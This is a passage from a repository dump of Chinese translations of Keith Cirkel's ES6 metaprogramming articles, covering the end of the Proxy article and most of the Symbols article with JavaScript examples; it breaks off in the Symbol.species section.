observerCallback) {\n  var observing = true;\n  const proxyObject = new Proxy(object, {\n    set: function (object, property, value) {\n      var hadProperty = Reflect.has(object, property);\n      var oldValue = hadProperty && Reflect.get(object, property);\n      var returnValue = Reflect.set(object, property, value);\n      if (observing && hadProperty) {\n        observerCallback({ object: proxyObject, type: 'update', name: property, oldValue: oldValue });\n      } else if(observing) {\n        observerCallback({ object: proxyObject, type: 'add', name: property });\n      }\n      return returnValue;\n    },\n    deleteProperty: function (object, property) {\n      var hadProperty = Reflect.has(object, property);\n      var oldValue = hadProperty && Reflect.get(object, property);\n      var returnValue = Reflect.deleteProperty(object, property);\n      if (observing && hadProperty) {\n        observerCallback({ object: proxyObject, type: 'delete', name: property, oldValue: oldValue });\n      }\n      return returnValue;\n    },\n    defineProperty: function (object, property, descriptor) {\n      var hadProperty = Reflect.has(object, property);\n      var oldValue = hadProperty && Reflect.getOwnPropertyDescriptor(object, property);\n      var returnValue = Reflect.defineProperty(object, property, descriptor);\n      if (observing && hadProperty) {\n        observerCallback({ object: proxyObject, type: 'reconfigure', name: property, oldValue: oldValue });\n      } else if(observing) {\n        observerCallback({ object: proxyObject, type: 'add', name: property });\n      }\n      return returnValue;\n    },\n    preventExtensions: function (object) {\n      var returnValue = Reflect.preventExtensions(object);\n      if (observing) {\n        observerCallback({ object: proxyObject, type: 'preventExtensions' })\n      }\n      return returnValue;\n    },\n  });\n  return { object: proxyObject, unobserve: function () { observing = false } };\n}\n\nvar changes = [];\nvar observer = observe({ id: 1 }, (change) => changes.push(change));\nvar object = observer.object;\nvar unobserve = observer.unobserve;\nobject.a = 'b';\nobject.id++;\nObject.defineProperty(object, 'a', { enumerable: false });\ndelete object.a;\nObject.preventExtensions(object);\nunobserve();\nobject.id++;\nassert.equal(changes.length, 5);\nassert.equal(changes[0].object, object);\nassert.equal(changes[0].type, 'add');\nassert.equal(changes[0].name, 'a');\nassert.equal(changes[1].object, object);\nassert.equal(changes[1].type, 'update');\nassert.equal(changes[1].name, 'id');\nassert.equal(changes[1].oldValue, 1);\nassert.equal(changes[2].object, object);\nassert.equal(changes[2].type, 'reconfigure');\nassert.equal(changes[2].oldValue.enumerable, true);\nassert.equal(changes[3].object, object);\nassert.equal(changes[3].type, 'delete');\nassert.equal(changes[3].name, 'a');\nassert.equal(changes[4].object, object);\nassert.equal(changes[4].type, 'preventExtensions');\n```\n\n正如你所看到的，我们用一小段代码实现了一个相对完整的 Object.observe。该实现和规范之间的差异在于，Object.observe 是能够改变对象的，而代理则返回了一个新对象，并且 unobserver 函数也不是全局的。\n\n和其他例子一样，我也写了关于此的一个库并放在了 [github.com/keithamus/proxy-object-observe](https://github.com/keithamus/proxy-object-observe) 以及 npm 上。\n\n## 奖励关卡：可撤销代理\n\n代理还有最后一个大招：一些代理可以被撤销。为了创建一个可撤销的代理，你需要使用 `Proxy.revocable(target, handler)` （而不是 `new Proxy(target, handler)`），并且，最终返回一个结构为 `{proxy, revoke()}` 的对象来替代直接返回一个代理对象。例子如下：\n\n```js\nfunction youOnlyGetOneSafetyNet(object) {\n  var revocable = Proxy.revocable(object, {\n    get(target, property) {\n      if (Reflect.has(target, property)) {\n        return Reflect.get(target, property);\n      } else {\n        revocable.revoke();\n        return 'You only get one safety net';\n      }\n    }\n  });\n  return revocable.proxy;\n}\n\nvar myObject = youOnlyGetOneSafetyNet({ foo: true });\n\nassert(myObject.foo === true);\nassert(myObject.foo === true);\nassert(myObject.foo === true);\n\nassert(myObject.bar === 'You only get one safety net');\nmyObject.bar // TypeError\nmyObject.bar // TypeError\nReflect.has(myObject, 'bar') // TypeError\n```\n\n遗憾的是，你可以看到例子中最后一行的右侧，如果代理已经被撤销，任何在代理对象上的操作都会抛出 TypeError —— 即便这些操作句柄还没有被代理。我觉得这可能是可撤销代理的一种能力。如果所有的操作都能与对应的 Reflect 返回一致（这会使得代理冗余，并让对象表现得好像从未设置过代理一样），将使该特性更加有用。这个特性被放在了本文压轴部分，也是因为我也不真正确定可撤回代理的具体用例。\n\n## 总结\n\n我希望这篇文章让你认识到代理是一个强大到不可思议的工具，它弥补了 JavaScript 内部曾经的缺失。在方方面面，Symbol、Reflect、以及代理都为 JavaScript 开启了新的篇章 —— 就如同 const 和 let，类和箭头函数那样。const 和 let 不再让代码显得混乱肮脏，类和箭头函数让代码更简洁，Symbol、Reflect、和 Proxy 则开始给予开发者在 JavaScript 中进行底层的元编程。\n\n这些新的元编程工具不会在短时间内放慢发展的速度：EcamScript 的新版本正逐渐完善，并添加了更多有趣的行为，例如 [`Reflect.isCallable` 和 `Reflect.isConstructor` 的提案](https://github.com/caitp/TC39-Proposals/blob/master/tc39-reflect-isconstructor-iscallable.md)，亦或 [stage 0 关于 `Reflect.type` 的提案](https://github.com/alex-weej/es-reflect-type-proposal)，亦或 [`function.sent` 这个元属性的提案](https://github.com/allenwb/ESideas/blob/master/Generator%20metaproperty.md)\n，亦或[这个包含了更多函数元属性的提案](https://github.com/allenwb/ESideas/blob/master/ES7MetaProps.md)。这些新的 API 也激发了一些关于新特性的有趣讨论，例如 [这个关于添加 `Reflect.parse` 的提案](https://esdiscuss.org/topic/reflect-parse-from-re-typeof-null)，就引起了关于创建一个 AST（Abstract Syntax Tree：抽象语法树）标准的讨论。\n\n你是怎么看待新的 Proxy API 的？已经计划用在你的项目里面了？可以在 Twitter 上给我留言让我知道你的想法，我是 [@keithamus](https://twitter.com/keithamus)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/metaprogramming-in-es6-symbols.md",
    "content": "> * 原文地址：[Metaprogramming in ES6: Symbols and why they're awesome](https://www.keithcirkel.co.uk/metaprogramming-in-es6-symbols/)\n> * 原文作者：[Keith Cirkel](https://twitter.com/keithamus)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-symbols.md](https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-symbols.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[Usey95](https://github.com/Usey95) [IridescentMia](https://github.com/IridescentMia)\n\n# 元编程：Symbol，了不起的 Symbol\n\n你已经听说过 ES6 了，是吧？这是一个在多方面表现卓著的 JavaScript 的新版本。每当在 ES6 中发现令人惊叹的新特性，我就会开始对我的同事滔滔不绝起来（但是因此占用了别人的午休时间并不是所有人乐意的）。\n\n一系列优秀的 ES6 的新特性都来自于新的元编程工具，这些工具将底层钩子（hooks）注入到了代码机制中。目前，介绍 ES6 元编程的文章寥寥，所以我认为我将撰写 3 篇关于它们的博文（附带一句，我太懒了，这篇完成度 90% 的博文都在我的草稿箱里面躺了三个月了，自打我说了要撰文之后，[更多内容都已在这里完成](https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/)）：\n\n第一部分：Symbols（本篇文章）、[第二部分：Reflect](/metaprogramming-in-es6-part-2-reflect/) 、[第三部分： Proxies](/metaprogramming-in-es6-part-3-proxies/)\n\n## 元编程\n\n首先，让我们快速认识一下元编程，去探索元编程的美妙世界。元编程（笼统地说）是所有关于一门语言的底层机制，而不是数据建模或者业务逻辑那些高级抽象。如果程序可以被描述为 “制作程序”，元编程就能被描述为 “让程序来制作程序”。你可能已经在日常编程中不知不觉地使用到了元编程。\n\n元编程有一些 “子分支（subgenres）” —— 其中之一是 **代码生成（Code Generation）**，也称之为 `eval` —— JavaScript 在一开始就拥有代码生成的能力（JavaScript 在 ES1 中就有了 `eval`，它甚至早于 `try`/`catch` 和 `switch` 的出现）。目前，其他一些流行的编程语言都具有 **代码生成** 的特性。\n\n元编程另一个方面是反射（Reflection） —— 其用于发现和调整你的应用程序结构和语义。JavaScript 有几个工具来完成反射。函数有 `Function#name`、`Function#length`、以及 `Function#bind`、`Function#call` 和 `Functin#apply`。所有 Object 上可用的方法也算是反射，例如 `Object.getOwnProperties`。JavaScript 也有反射/内省运算符，如 `typeof`、`instancesof` 以及 `delete`。\n\n反射是元编程中非常酷的一部分，因为它允许你改变应用程序的内部工作机制。以 Ruby 为例，你可以声明一个运算符作为方法，从而重写该运算符针对这个类的工作机制（这一手段通常称为 “运算符重载”）：\n\n```ruby\nclass BoringClass\nend\nclass CoolClass\n  def ==(other_object)\n   other_object.is_a? CoolClass\n  end\nend\nBoringClass.new == BoringClass.new #=> false\nCoolClass.new == CoolClass.new #=> true!\n```\n\n对比到其他类似 Ruby 或者 Python 的语言，JavaScript 的元编程特性要落后不少 —— 尤其考虑到它缺乏诸如运算符重载这样的好工具时更是如此，但是 ES6 开始帮助 JavaScript 在元编程上赶上其他语言。\n\n### ES6 下的元编程\n\nES6 带来了三个全新的 API：`Symbol`、`Reflect`、以及 `Proxy`。刚看到它们时会有些疑惑 —— 这三个 API 都是服务于元编程的吗？如果你分开看这几个 API，你不难发现它们确实很有意义：\n\n* Symbols 是 **实现了的反射（Reflection within implementation）**—— 你将 Symbols 应用到你已有的类和对象上去改变它们的行为。\n* Reflect 是 **通过自省（introspection）实现反射（Reflection through introspection）** —— 通常用来探索非常底层的代码信息。\n* Proxy 是 **通过调解（intercession）实现反射（Reflection through intercession）** —— 包裹对象并通过自陷（trap）来拦截对象行为。\n\n所以，它们是怎么工作的？它们又是怎么变得有用的？这边文章将讨论 Symbols，而后续两篇文章则分别讨论反射和代理。\n\n## Symbols —— 实现了的反射\n\nSymbols 是新的原始类型（primitive）。就像是 `Number`、`String`、和 `Boolean` 一样。Symbols 具有一个 `Symbol` 函数用于创建 Symbol。与别的原始类型不同，Symbols 没有字面量语法（例如，String 有 `''`）—— 创建 Symbol 的唯一方式是使用类似构造函数而又非构造函数的 `Symbol` 函数：\n\n```js\nSymbol(); // symbol\nconsole.log(Symbol()); // 输出 \"Symbol()\" 至控制台\nassert(typeof Symbol() === 'symbol')\nnew Symbol(); // TypeError: Symbol is not a constructor\n```\n\n### Symbols 拥有内置的 debug 能力\n\nSymbols 可以指定一个描述，这在 debug 时很有用，当我们能够输出更有用的信息到控制台时，我们的编程体验将更为友好：\n\n```js\nconsole.log(Symbol('foo')); // 输出 \"Symbol(foo)\" 至控制台\nassert(Symbol('foo').toString() === 'Symbol(foo)');\n```\n\n### Symbols 能被用作对象的 key\n\n这是 Symbols 真正有趣之处。它们和对象紧密的交织在一起。Symbols 能用作对象的 key （类似字符串 key），这意味着你可以分配无限多的具有唯一性的 Symbols 到一个对象上，这些 key 保证不会和现有的字符串 key 冲突，或者和其他 Symbol key 冲突：\n\n```js\nvar myObj = {};\nvar fooSym = Symbol('foo');\nvar otherSym = Symbol('bar');\nmyObj['foo'] = 'bar';\nmyObj[fooSym] = 'baz';\nmyObj[otherSym] = 'bing';\nassert(myObj.foo === 'bar');\nassert(myObj[fooSym] === 'baz');\nassert(myObj[otherSym] === 'bing');\n```\n\n另外，Symbols key 无法通过 `for in`、`for of` 或者 `Object.getOwnPropertyNames` 获得 —— 获得它们的唯一方式是 `Object.getOwnPropertySymbols`：\n\n```js\nvar fooSym = Symbol('foo');\nvar myObj = {};\nmyObj['foo'] = 'bar';\nmyObj[fooSym] = 'baz';\nObject.keys(myObj); // -> [ 'foo' ]\nObject.getOwnPropertyNames(myObj); // -> [ 'foo' ]\nObject.getOwnPropertySymbols(myObj); // -> [ Symbol(foo) ]\nassert(Object.getOwnPropertySymbols(myObj)[0] === fooSym);\n```\n\n这意味着 Symbols 能够给对象提供一个隐藏层，帮助对象实现了一种全新的目的 —— 属性不可迭代，也不能够通过现有的反射工具获得，并且能被保证不会和对象任何已有属性冲突。\n\n### Symbols 是完全唯一的......\n\n默认情况下，每一个新创建的 Symbol 都有一个完全唯一的值。如果你新创建了一个 Symbol（`var mysym = Symbol()`），在 JavaScript 引擎内部，就会创建一个全新的值。如果你不保留 Symbol 对象的引用，你就无法使用它。这也意味着两个 Symbol 将绝不会等同于同一个值，即使它们有一样的描述：\n\n```js\nassert.notEqual(Symbol(), Symbol());\nassert.notEqual(Symbol('foo'), Symbol('foo'));\nassert.notEqual(Symbol('foo'), Symbol('bar'));\n\nvar foo1 = Symbol('foo');\nvar foo2 = Symbol('foo');\nvar object = {\n    [foo1]: 1,\n    [foo2]: 2,\n};\nassert(object[foo1] === 1);\nassert(object[foo2] === 2);\n```\n\n### ......等等，也有例外\n\n稍安勿躁，这有一个小小的警告 —— JavaScript 也有另一个创建 Symbol 的方式来轻易地实现 Symbol 的获得和重用：`Symbol.for()`。该方法在 “全局 Symbol 注册中心” 创建了一个 Symbol。额外注意的一点：这个注册中心也是跨域的，意味着 iframe 或者 service worker 中的 Symbol 会与当前 frame Symbol 相等：\n\n```js\nassert.notEqual(Symbol('foo'), Symbol('foo'));\nassert.equal(Symbol.for('foo'), Symbol.for('foo'));\n\n// 不是唯一的：\nvar myObj = {};\nvar fooSym = Symbol.for('foo');\nvar otherSym = Symbol.for('foo');\nmyObj[fooSym] = 'baz';\nmyObj[otherSym] = 'bing';\nassert(fooSym === otherSym);\nassert(myObj[fooSym] === 'bing');\nassert(myObj[otherSym] === 'bing');\n\n// 跨域\niframe = document.createElement('iframe');\niframe.src = String(window.location);\ndocument.body.appendChild(iframe);\nassert.notEqual(iframe.contentWindow.Symbol, Symbol);\nassert(iframe.contentWindow.Symbol.for('foo') === Symbol.for('foo')); // true!\n```\n\n全局 Symbol 会让东西变得更加复杂，但我们又舍不得它好的方面。现在，你们当中的一些人可能会说：“我要怎样知道哪些 Symbol 是唯一的，哪些不是？”，对此，我会说 “别担心，我们还有 `Symbol.keyFor()`”：\n\n```js\nvar localFooSymbol = Symbol('foo');\nvar globalFooSymbol = Symbol.for('foo');\n\nassert(Symbol.keyFor(localFooSymbol) === undefined);\nassert(Symbol.keyFor(globalFooSymbol) === 'foo');\nassert(Symbol.for(Symbol.keyFor(globalFooSymbol)) === Symbol.for('foo'));\n```\n\n### Symbols 是什么，又不是什么？\n\n上面我们对于 Symbol 是什么以及它们如何工作有一个概览，但更重要的是，我们得知道 Symbol 适合和不适合什么场景，如果认识寥寥，很可能会对 Symbol 产生误区：\n\n* **Symbols 绝不会与对象的字符串 key 冲突**。这一特性让 Symbol 在扩展已有对象时表现卓著（例如，Symbol 作为了一个函数参数），它不会显式地影响到对象：\n\n* **Symbols 无法通过现有的反射工具读取**。你需要一个新的方法 `Object.getOwnPropertySymbols()` 来访问对象上的 Symbols，这让 Symbol 适合存储那些你不想让别人直接获得的信息。使用 `Object.getOwnPropertySymbols()` 是一个非常特殊的用例，一般人可不知道。\n\n* **Symbols 不是私有的**。作为双刃剑的另一面 —— 对象上所有的 Symbols 都可以直接通过 `Object.getOwnPropertySymbols()` 获得 —— 这不利于我们使用 Symbol 存储一些真正需要私有化的值。不要尝试使用 Symbols 存储对象中需要真正私有化的值 —— Symbol 总能被拿到。\n\n* **可枚举的 Symbols 能够被复制到其他对象**，复制会通过类似这样的 `Object.assign` 新方法完成。如果你尝试调用 `Object.assign(newObject, objectWithSymbols)`，并且所有的可迭代的 Symbols 作为了第二个参数（`objectWithSymbols`）传入，这些 Symbols 会被复制到第一个参数（`newObject`）上。如果你不想要这种情况发生，就用 `Obejct.defineProperty` 来让这些 Symbols 变得不可迭代。\n\n* **Symbols 不能强制类型转换为原始对象**。如果你尝试强制转换一个 Symbol 为原始值对象（`+Symbol()`、`-Symbol()`、`Symbol() + 'foo'`），将会抛出一个错误。这防止你将 Symbol 设置为对象属性名时，不小心字符串化了（stringify）它们。\n\n* **Symbols 不总是唯一的**。上文中就提到过了，`Symbol.for()` 将为你返回一个不唯一的 Symbol。不要总认为 Symbol 具有唯一性，除非你自己能够保证它的唯一性。\n\n* **Symbols 与 Ruby 的 Symbols 不是一回事**。二者有一些共性，例如都有一个 Symbol 注册中心，但仅仅如此。JavaScript 中 Symbol 不能当做 Ruby 中 Symbol 去使用。\n\n\n## Symbols 真正适合的是什么？\n\n现实中，Symbols 只是一个略有不同绑定对象属性的方式 —— 你能够轻易地提供一些著名的 Symbols（例如 Symbols.iterator） 作为标准方法，正如 `Object.prototype.hasOwnProperty` 这个方法就出现在了所有继承自 Object 的对象（继承自 Object，基本上也就意味着一切对象都有 `hasOwnProperty` 这个方法了）。实际上，例如 Python 这样的语言是这样提供标准方法的 —— 在 Python 中，等同于 `Symbol.iterator` 的是 `__iter__`，等同于 `Symbole.hasInstance` 的是 `__instancecheck__`，并且我猜 `__cmp__` 也类似于 `Symbole.toPrimitive`。Python 的这个做法可能是一种较差的做法，而 JavaScript 的 Symbols 不需要依赖任何古怪的语法就能提供标准方法，并且，任何情况下用户都不会和这些标准方法遭遇冲突。\n\n在我看来，Symbols 可以被用在下面两个场景：\n\n### 1. 作为一个可替换字符串或者整型使用的唯一值\n\n假定你有一个日志库，该库包含了多个日志级别，例如 `logger.levels.DEBUG`、`logger.levels.INFO`、`logger.levels.WARN` 等等。在 ES5 中，你通过字符串或者整型设置或者判断级别：`logger.levels.DEBUG === 'debug'`、`logger.levels.DEBUG === 10`。这些方式都不是理想方式，因为它们不能保证级别取值唯一，但是 Symbols 的唯一性能够出色地完成这个任务！现在 `logger.levels` 变成了：\n\n```js\nlog.levels = {\n    DEBUG: Symbol('debug'),\n    INFO: Symbol('info'),\n    WARN: Symbol('warn'),\n};\nlog(log.levels.DEBUG, 'debug message');\nlog(log.levels.INFO, 'info message');\n```\n\n### 2. 作为一个对象中放置元信息（metadata）的场所\n\n你也可以用 Symbol 来存储一些对于真实对象来说较为次要的元信息属性。把这看作是不可迭代性的另一层面（毕竟，不可迭代的 keys 仍然会出现在 `Object.getOwnProperties` 中）。让我们创建一个可靠的集合类，并为其添加一个 size 引用来获得集合规模这一元信息，该信息借助于 Symbol 不会暴露给外部（只要记住，**Symbols 不是私有的** —— 并且只有当你不在乎应用的其他部分会修改到 Symbols 属性时，再使用 Symbol）：\n\n```js\nvar size = Symbol('size');\nclass Collection {\n    constructor() {\n        this[size] = 0;\n    }\n\n    add(item) {\n        this[this[size]] = item;\n        this[size]++;\n    }\n\n    static sizeOf(instance) {\n        return instance[size];\n    }\n\n}\n\nvar x = new Collection();\nassert(Collection.sizeOf(x) === 0);\nx.add('foo');\nassert(Collection.sizeOf(x) === 1);\nassert.deepEqual(Object.keys(x), ['0']);\nassert.deepEqual(Object.getOwnPropertyNames(x), ['0']);\nassert.deepEqual(Object.getOwnPropertySymbols(x), [size]);\n```\n\n### 3. 给予开发者在 API 中为对象添加钩子（hook）的能力\n\n这听起来有点奇怪，但大家不妨多点耐心，听我解释。假定我们有一个 `console.log` 风格的工具函数 —— 这个函数可以接受 __任何__ 对象，并将其输出到控制台。它有自己的机制去决定如何在控制台显示对象 —— 但是你作为一个使用该 API 的开发者，得益于 `inspect` Symbol 实现的一个钩子，你能够提供一个方法去重写显示机制 ：\n\n```js\n// 从 API 的 Symbols 常量中获得这个充满魔力的 Inspect Symbol\nvar inspect = console.Symbols.INSPECT;\n\nvar myVeryOwnObject = {};\nconsole.log(myVeryOwnObject); // 日志 `{}`\n\nmyVeryOwnObject[inspect] = function () { return 'DUUUDE'; };\nconsole.log(myVeryOwnObject); // 日志输出 `DUUUDE`\n```\n\n这个审查（inspect）钩子大致实现如下：\n\n```js\nconsole.log = function (…items) {\n    var output = '';\n    for(const item of items) {\n        if (typeof item[console.Symbols.INSPECT] === 'function') {\n            output += item[console.Symbols.INSPECT](item);\n        } else {\n            output += console.inspect[typeof item](item);\n        }\n        output += '  ';\n    }\n    process.stdout.write(output + '\\n');\n}\n```\n\n需要说明的是，这不意味着你应该写一些会改变给定对象的代码。这是决不允许的事（对于此，可以看下 [WeakMaps](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)，它为你提供了辅助对象来收集你自己在对象上定义的元信息）。\n\n> 译注：如果你对 WeakMap 存有疑惑，可以参看 [stackoverflow —— What are the actual uses of ES6 WeakMap?](https://stackoverflow.com/questions/29413222/what-are-the-actual-uses-of-es6-weakmap)。\n\n[Node.js 已经在其 `console.log` 中已经有了类似的实现](https://nodejs.org/api/util.html#util_custom_inspect_function_on_objects)。其使用了一个字符串（`'inspect'`）而不是 Symbol，这意味着你可以设置 `x.inspect = function(){}` —— 这不是聪明的做法，因为某些时候，这可能会和你的类方法冲突。而使用 Symbol __是一个非常有前瞻性的方式来防止这样的情况发生__。\n\n这样使用 Symbols 的方式是意义深远的，这已经成为了这门语言的一部分，借此，我们开始深入到一些有名的 Symbol 中去。\n\n## 内置的 Symbols\n\n一个使 Symbols 有用的关键部分就是一系列的 Symbol 常量，这些常量被称为 “内置的 Symbols”。这些常量实际上是一堆在 Symbol 类上的由其他诸如数组（Array），字符串（String）等原生对象以及 JavaScript 引擎内部实现的静态方法。这就是真正 “实现了的反射（Reflection within Implementation）” 一部分发生的地方，因为这些内置的 Symbol 改变了 JavaScript 内部行为。接下来，我将详述每个 Symbol 做了什么以及为何这些 Symbols 是如此的棒。\n\n## Symbol.hasInstance: instanceof\n\n`Symbol.hasInstance` 是一个实现了 `instanceof` 行为的 Symbol。当一个兼容 ES6 的引擎在某个表达式中看到了 `instanceof` 运算符，它会调用 `Symbol.hasInstance`。例如，表达式 `lho instanceof rho` 将会调用 `rho[Symbol.hasInstance](lho)` （`rho` 是运算符的右操作数，而 `lho` 则是左运算数）。然后，该方法能够决定是否某个对象继承自某个特殊实例，你可以像下面这样实现这个方法：\n\n```js\nclass MyClass {\n    static [Symbol.hasInstance](lho) {\n        return Array.isArray(lho);\n    }\n}\nassert([] instanceof MyClass);\n```\n\n### Symbol.iterator\n\n如果你或多或少听说过了 Symbols，你很可能听说的是 `Symbol.iterator`。ES6 带来了一个新的模式 —— `for of` 循环，该循环是调用 `Symbol.iterator` 作为右手操作数来取得当前值进行迭代的。换言之，下面两端代码是等效的：\n\n```js\nvar myArray = [1,2,3];\n\n// 使用 `for of` 的实现\nfor(var value of myArray) {\n    console.log(value);\n}\n\n// 没有 `for of` 的实现\nvar _myArray = myArray[Symbol.iterator]();\nwhile(var _iteration = _myArray.next()) {\n    if (_iteration.done) {\n        break;\n    }\n    var value = _iteration.value;\n    console.log(value);\n}\n```\n\n`Symbol.ierator` 将允许你重写 `of` 运算符 —— 这意味着如果你使用它来创建一个库，那么开发者爱死你了：\n\n```js\nclass Collection {\n  *[Symbol.iterator]() {\n    var i = 0;\n    while(this[i] !== undefined) {\n      yield this[i];\n      ++i;\n    }\n  }\n\n}\nvar myCollection = new Collection();\nmyCollection[0] = 1;\nmyCollection[1] = 2;\nfor(var value of myCollection) {\n    console.log(value); // 1, then 2\n}\n```\n\n### Symbol.isConcatSpreadable\n\n`Symbol.isConcatSpreadable` 是一个非常特别的 Symbol —— 驱动了 `Array#concat` 的行为。正如你所见到的，`Array#concat` 能够接收多个参数，如果你传入的参数是多个数组，那么这些数组会被展平，又在之后被合并。考虑到下面的代码：\n\n```js\nx = [1, 2].concat([3, 4], [5, 6], 7, 8);\nassert.deepEqual(x, [1, 2, 3, 4, 5, 6, 7, 8]);\n```\n\n在 ES6 下，`Array#concat` 将利用 `Symbol.isConcatSepreadable` 来决定它的参数是否可展开。关于此，应该说是你的继承自 Array 的类不是特别适用于 `Array#concat`，而非其他理由：\n\n```js\nclass ArrayIsh extends Array {\n    get [Symbol.isConcatSpreadable]() {\n        return true;\n    }\n}\nclass Collection extends Array {\n    get [Symbol.isConcatSpreadable]() {\n        return false;\n    }\n}\narrayIshInstance = new ArrayIsh();\narrayIshInstance[0] = 3;\narrayIshInstance[1] = 4;\ncollectionInstance = new Collection();\ncollectionInstance[0] = 5;\ncollectionInstance[1] = 6;\nspreadableTest = [1,2].concat(arrayInstance).concat(collectionInstance);\nassert.deepEqual(spreadableTest, [1, 2, 3, 4, <Collection>]);\n```\n\n### Symbol.unscopables\n\n这个 Symbol 有一些有趣的历史。实际上，当开发 ES6 的时候，TC（Technical Committees：技术委员会）发现在一些流行的 JavaScript 库中，有这样一些老代码：\n\n```js\nvar keys = [];\nwith(Array.prototype) {\n    keys.push('foo');\n}\n```\n\n这个代码在 ES5 或者更早版本的 JavaSacript 中工作良好，但是 ES6 现在有了一个 `Array#keys` —— 这意味着当你执行 `with(Array.prototype)` 时，`keys` 指代的是 Array 原型上的 `keys` 方法，即 `Array#keys` ，而不是 with 外部你定义的 `keys`。有三个办法解决这个问题：\n\n1. 检索所有使用了该代码的网站，升级对应的代码库。（这基本是不可能的）\n2. 删除 `Array#keys` ，并祈祷类似 bug 不会出现。（这也没有真正解决这个问题）\n3. 写一个 hack 包裹所有这样的代码，防止 `keys` 出现在 `with` 语句的作用域中。\n\n技术委员会选择的是第三种方式，因此 `Symbol.unscopables` 应运而生，它为对象定义了一系列 “unscopable（不被作用域的）” 的值，当这些值用在了 `with` 语句中，它们不会被设置为对象上的值。你几乎用不到这个 Symbol —— 在日常的 JavaScript 编程中，你也遇不到这样的情况，但是这仍然体现了 Symbols 的用法，并且保障了 Symbol 的完整性：\n\n```js\nObject.keys(Array.prototype[Symbol.unscopables]); // -> ['copyWithin', 'entries', 'fill', 'find', 'findIndex', 'keys']\n\n// 不使用 unscopables:\nclass MyClass {\n    foo() { return 1; }\n}\nvar foo = function () { return 2; };\nwith (MyClass.prototype) {\n    foo(); // 1!!\n}\n\n// 使用 unscopables:\nclass MyClass {\n    foo() { return 1; }\n    get [Symbol.unscopables]() {\n        return { foo: true };\n    }\n}\nvar foo = function () { return 2; };\nwith (MyClass.prototype) {\n    foo(); // 2!!\n}\n```\n\n### Symbol.match\n\n这是另一个针对于函数的 Symbol。`String#match` 函数将能够自定义 macth 规则流判断给定的值是否匹配。现在，你能够实现自己的匹配策略，而不是使用正则表达式：\n\n```js\nclass MyMatcher {\n    constructor(value) {\n        this.value = value;\n    }\n    [Symbol.match](string) {\n        var index = string.indexOf(this.value);\n        if (index === -1) {\n            return null;\n        }\n        return [this.value];\n    }\n}\nvar fooMatcher = 'foobar'.match(new MyMatcher('foo'));\nvar barMatcher = 'foobar'.match(new MyMatcher('bar'));\nassert.deepEqual(fooMatcher, ['foo']);\nassert.deepEqual(barMatcher, ['bar']);\n```\n\n### Symbol.replace\n\n与 `Symbol.match` 类似，`Symbol.replace` 也允许传递自定义的类来完成字符串的替换，而不仅是使用正则表达式：\n\n```js\nclass MyReplacer {\n    constructor(value) {\n        this.value = value;\n    }\n    [Symbol.replace](string, replacer) {\n        var index = string.indexOf(this.value);\n        if (index === -1) {\n            return string;\n        }\n        if (typeof replacer === 'function') {\n            replacer = replacer.call(undefined, this.value, string);\n        }\n        return `${string.slice(0, index)}${replacer}${string.slice(index + this.value.length)}`;\n    }\n}\nvar fooReplaced = 'foobar'.replace(new MyReplacer('foo'), 'baz');\nvar barMatcher = 'foobar'.replace(new MyReplacer('bar'), function () { return 'baz' });\nassert.equal(fooReplaced, 'bazbar');\nassert.equal(barReplaced, 'foobaz');\n```\n\n### Symbol.search\n\n与 `Symbol.match` 和 `Symbol.replace` 类似，`Symbol.search` 增强了 `String#search` —— 允许传入自定义的类替代正则表达式：\n\n```js\nclass MySearch {\n    constructor(value) {\n        this.value = value;\n    }\n    [Symbol.search](string) {\n        return string.indexOf(this.value);\n    }\n}\nvar fooSearch = 'foobar'.search(new MySearch('foo'));\nvar barSearch = 'foobar'.search(new MySearch('bar'));\nvar bazSearch = 'foobar'.search(new MySearch('baz'));\nassert.equal(fooSearch, 0);\nassert.equal(barSearch, 3);\nassert.equal(bazSearch, -1);\n```\n\n### Symbol.split\n\n现在到了最后一个字符串相关的 Symbol 了 —— `Symbol.split` 对应于 `String#split`。用法如下：\n\n```js\nclass MySplitter {\n    constructor(value) {\n        this.value = value;\n    }\n    [Symbol.split](string) {\n        var index = string.indexOf(this.value);\n        if (index === -1) {\n            return string;\n        }\n        return [string.substr(0, index), string.substr(index + this.value.length)];\n    }\n}\nvar fooSplitter = 'foobar'.split(new MySplitter('foo'));\nvar barSplitter = 'foobar'.split(new MySplitter('bar'));\nassert.deepEqual(fooSplitter, ['', 'bar']);\nassert.deepEqual(barSplitter, ['foo', '']);\n```\n\n### Symbol.species\n\n`Symbol.species` 是一个非常机智的 Symbol，它指向了一个类的构造函数，这允许类能够创建属于自己的、某个方法的新版本。以 `Array#map` 为例，其能创建一个新的数组，新数组中的值来源于传入的回调函数每次的返回值 —— ES5 的 `Array#map` 实现可能是下面这个样子：\n\n```js\nArray.prototype.map = function (callback) {\n    var returnValue = new Array(this.length);\n    this.forEach(function (item, index, array) {\n        returnValue[index] = callback(item, index, array);\n    });\n    return returnValue;\n}\n```\n\nES6 中的 `Array#map`，以及其他所有的不可变 Array 方法（如 `Array#filter` 等），都已经更新到了使用 `Symbol.species` 属性来创建对象，因此，ES6 中的 `Array#map` 实现可能如下：\n\n```js\nArray.prototype.map = function (callback) {\n    var Species = this.constructor[Symbol.species];\n    var returnValue = new Species(this.length);\n    this.forEach(function (item, index, array) {\n        returnValue[index] = callback(item, index, array);\n    });\n    return returnValue;\n}\n```\n\n现在，如果你写了 `class Foo extends Array` —— 每当你调用 `Foo#map`，在其返回一个 `Array` 